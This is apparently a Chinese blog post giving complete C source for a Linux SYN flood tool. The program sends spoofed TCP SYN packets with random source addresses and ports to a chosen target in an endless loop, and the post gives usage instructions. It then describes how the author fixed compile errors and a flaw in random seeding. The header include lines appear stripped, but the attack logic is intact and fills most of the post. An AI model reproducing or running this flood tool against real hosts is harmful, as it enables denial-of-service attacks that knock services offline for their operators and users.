SYN攻击源码

一、linux下源代码实现
/* syn flood by wqfhenanxc.
 * random soruce ip and random sourec port.
 * use #include <tcp_new.h>instead of for my own system reason.
 * usage :eg. to flood port 8080 on ip 246.245.167.45   ./synflood 246.245.167.45 8080
 * any question mail to wqfhenanxc@gmail.com 
 * 2009.6.12
 */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
//#include "synflood.h"

//#define DEFAULT_DPORT 80
//#define SPORT 8888

#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short checksum(unsigned short *buffer, int size);
unsigned short random_port(unsigned short minport,unsigned short maxport);
void random_ip(char *str);

int main(int argc,char **argv){
  int sockfd;
  struct sockaddr_in addr;
  //int dport;
  int on=1;
  if(argc!=3){
     printf("usage: <command_name><target_ip>\n");
     exit(1);
  }
  bzero(&addr,sizeof(struct sockaddr_in));
  addr.sin_family=AF_INET;
  addr.sin_port=htons(atoi(argv[2]));
  //addr.sin_addr.s_addr=inet_aton(argv[1]);
  inet_pton(AF_INET,argv[1],&addr.sin_addr);
  /*if(inet_aton(argv[1],&addr.sin_addr)==0){
     host=gethostbyname
  }*/
  sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
  if(sockfd<0){
     printf("Socket error!\n");
     exit(1);
  }
  setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
  while(1){
     send_tcp(sockfd,&addr);
  }
  return 0;
}

void send_tcp(int sockfd,struct sockaddr_in *addr){
  char buff[100];
  struct iphdr  ip_header;
  struct tcphdr tcp_header;
  unsigned short source_port=random_port(1024,5000);
  char ip_str[50];
  struct in_addr ip;

random_ip(ip_str);
  if(inet_aton(ip_str,&ip)==0){
     printf("inet_aton error!\n");
     exit(1);
  }
  bzero(buff,100);
  
  //ip_header=(struct iphdr*)buff;
  ip_header.version=4;
  ip_header.ihl=5;
  ip_header.tos=0;
  ip_header.tot_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
  ip_header.id=htons(random());
  ip_header.frag_off=0;
  ip_header.ttl=30;
  ip_header.protocol=IPPROTO_TCP;
  ip_header.check=0;
  ip_header.saddr=ip.s_addr;
  ip_header.daddr=addr->sin_addr.s_addr;

//tcp_header=(struct tcphdr*)(buff+sizeof(struct iphdr));
  tcp_header.source=htons(source_port);
  tcp_header.dest=addr->sin_port;
  tcp_header.seq=rand();
  tcp_header.doff=sizeof(struct tcphdr)/4;
  tcp_header.ack_seq=0;
  tcp_header.res1=0;
  tcp_header.fin=0;
  tcp_header.syn=1;
  tcp_header.rst=0;
  tcp_header.psh=0;
  tcp_header.ack=0;
  tcp_header.urg=0;
  tcp_header.window=htons(65535);
  tcp_header.check=0;
  tcp_header.urg_ptr=0;

//send_tcp_segment(&ip_header,&tcp_header,"",0);
  struct{
     unsigned long saddr;
     unsigned long daddr;
     char mbz;
     char ptcl;
     unsigned short tcpl;
  }psd_header;

psd_header.saddr=ip_header.saddr;
  psd_header.daddr=ip_header.daddr;
  psd_header.mbz=0;
  psd_header.ptcl=IPPROTO_TCP;
  psd_header.tcpl=htons(sizeof(struct tcphdr));

memcpy(buff,&psd_header,sizeof(psd_header));
  memcpy(buff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
  //memcpy(buf+sizeof(psd_header)+sizeof(tcp_header),data,dlen);
  //memset(buf+sizeof(psd_header)+sizeof(tcp_header)+dlen,0,4);
  tcp_header.check=checksum((unsigned short*)buff,sizeof(psd_header)+sizeof(tcp_header));
  
  memcpy(buff,&ip_header,4*ip_header.ihl);
  memcpy(buff+4*ip_header.ihl,&tcp_header,sizeof(tcp_header));
  //memcpy(buf+4*ip_header.ihl+sizeof(tcp_header),data,dlen);
  //memset(buf+4*ip_header.ihl+sizeof(tcp_header)+dlen,0,4);
  ip_header.check=checksum((unsigned short*)buff,4*ip_header.ihl+sizeof(tcp_header));
   
  // send_seq=SEQ+1+strlen(buf);
  
  sendto(sockfd,buff,sizeof(struct iphdr)+sizeof(struct tcphdr),0,
             (struct sockaddr*)addr,sizeof(struct sockaddr_in));
 
}

unsigned short checksum(unsigned short *buffer, int size){

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(unsigned short);

}

if(size ) cksum += *(unsigned char*)buffer;  //..buffer..size..2......

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (unsigned short)(~cksum);

}

unsigned short random_port(unsigned short minport,unsigned short maxport){
  /*struct time stime;
  unsigned seed;
  gettime(&stime);
  seed=stime.ti_hund*stime.ti_min*stime.ti_hour;
  srand(seed);*/
  srand((unsigned)time(NULL));
  return(getrandom(minport,maxport));
}

void random_ip(char *str){
  int a,b,c,d,i=0;
  static long j=0;
  srand((unsigned)time(NULL)+(i++)+(j++));
  a=getrandom(0,255);
  srand((unsigned)time(NULL)+(i++)+(j++));
  b=getrandom(0,255);
  srand((unsigned)time(NULL)+(i++)+(j++));
  c=getrandom(0,255);
  srand((unsigned)time(NULL)+(i++)+(j++));
  d=getrandom(0,255);
  sprintf(str,"%d.%d.%d.%d",a,b,c,d);
  printf("%s\n",str);  
}

二、编写中遇到的问题
1.rand()函数问题。随机ip地址四个字段分别生成，结果由于生成速度太快，作为srand()种子的系统时间没有来得及变化，导致ip四个字段相同，如118.118.118.118，并且接连有10个左右的包是同一个ip。解决办法是引入自增量i和j。
2.编译错误如下：
/usr/include/linux/ip.h:95: error: syntax error before "__u8"
/usr/include/linux/ip.h:102: error: syntax error before "tot_len"
/usr/include/linux/ip.h:103: error: syntax error before "id"
/usr/include/linux/ip.h:104: error: syntax error before "frag_off"
/usr/include/linux/ip.h:105: error: syntax error before "ttl"
/usr/include/linux/ip.h:106: error: syntax error before "protocol"
/usr/include/linux/ip.h:107: error: syntax error before "check"
/usr/include/linux/ip.h:108: error: syntax error before "saddr"
/usr/include/linux/ip.h:109: error: syntax error before "daddr"
。。。
。。。
。。。

/usr/include/linux/tcp.h:105: enumerator value for `TCP_FLAG_CWR' not
integer constant
/usr/include/linux/tcp.h:106: syntax error before "__u32"
/usr/include/linux/tcp.h:107: syntax error before "__u32"
/usr/include/linux/tcp.h:108: syntax error before "__u32"
/usr/include/linux/tcp.h:109: syntax error before "__u32"
/usr/include/linux/tcp.h:110: syntax error before "__u32"
/usr/include/linux/tcp.h:111: syntax error before "__u32"
/usr/include/linux/tcp.h:112: syntax error before "__u32"
/usr/include/linux/tcp.h:113: syntax error before "__u32"
/usr/include/linux/tcp.h:114: syntax error before "__u32"

以上两个错误是由于系统的ip.h和tcp.h确实有问题，
第一个错误通过 增加 #include 来解决，该文件包含了__u8和__u32的定义。

第二个错误源自tcp.h的如下几行：
enum {
TCP_FLAG_CWR = htonl(0x00800000)
TCP_FLAG_ECE = htonl(0x00400000),
TCP_FLAG_URG = htonl(0x00200000),
TCP_FLAG_ACK = htonl(0x00100000),
TCP_FLAG_PSH = htonl(0x00080000),
TCP_FLAG_RST = htonl(0x00040000),
TCP_FLAG_SYN = htonl(0x00020000),
TCP_FLAG_FIN = htonl(0x00010000),
TCP_RESERVED_BITS = htonl(0x0FC000000),
TCP_DATA_OFFSET = htonl(0xF0000000)
};
解决办法：将tcp.h的内容拷贝到另一个新建的文件tcp_new.h中，在新文件中去掉上面几行代码中的htonl，在自己的文件中用#include 代替#include 即可。

参考资料：
1.http://www.linuxsir.org/bbs/showthread.php?t=101990
2.Zakath的syn-flood源码
3.http://fanqiang.chinaunix.net/a4/b7/20010508/112433.html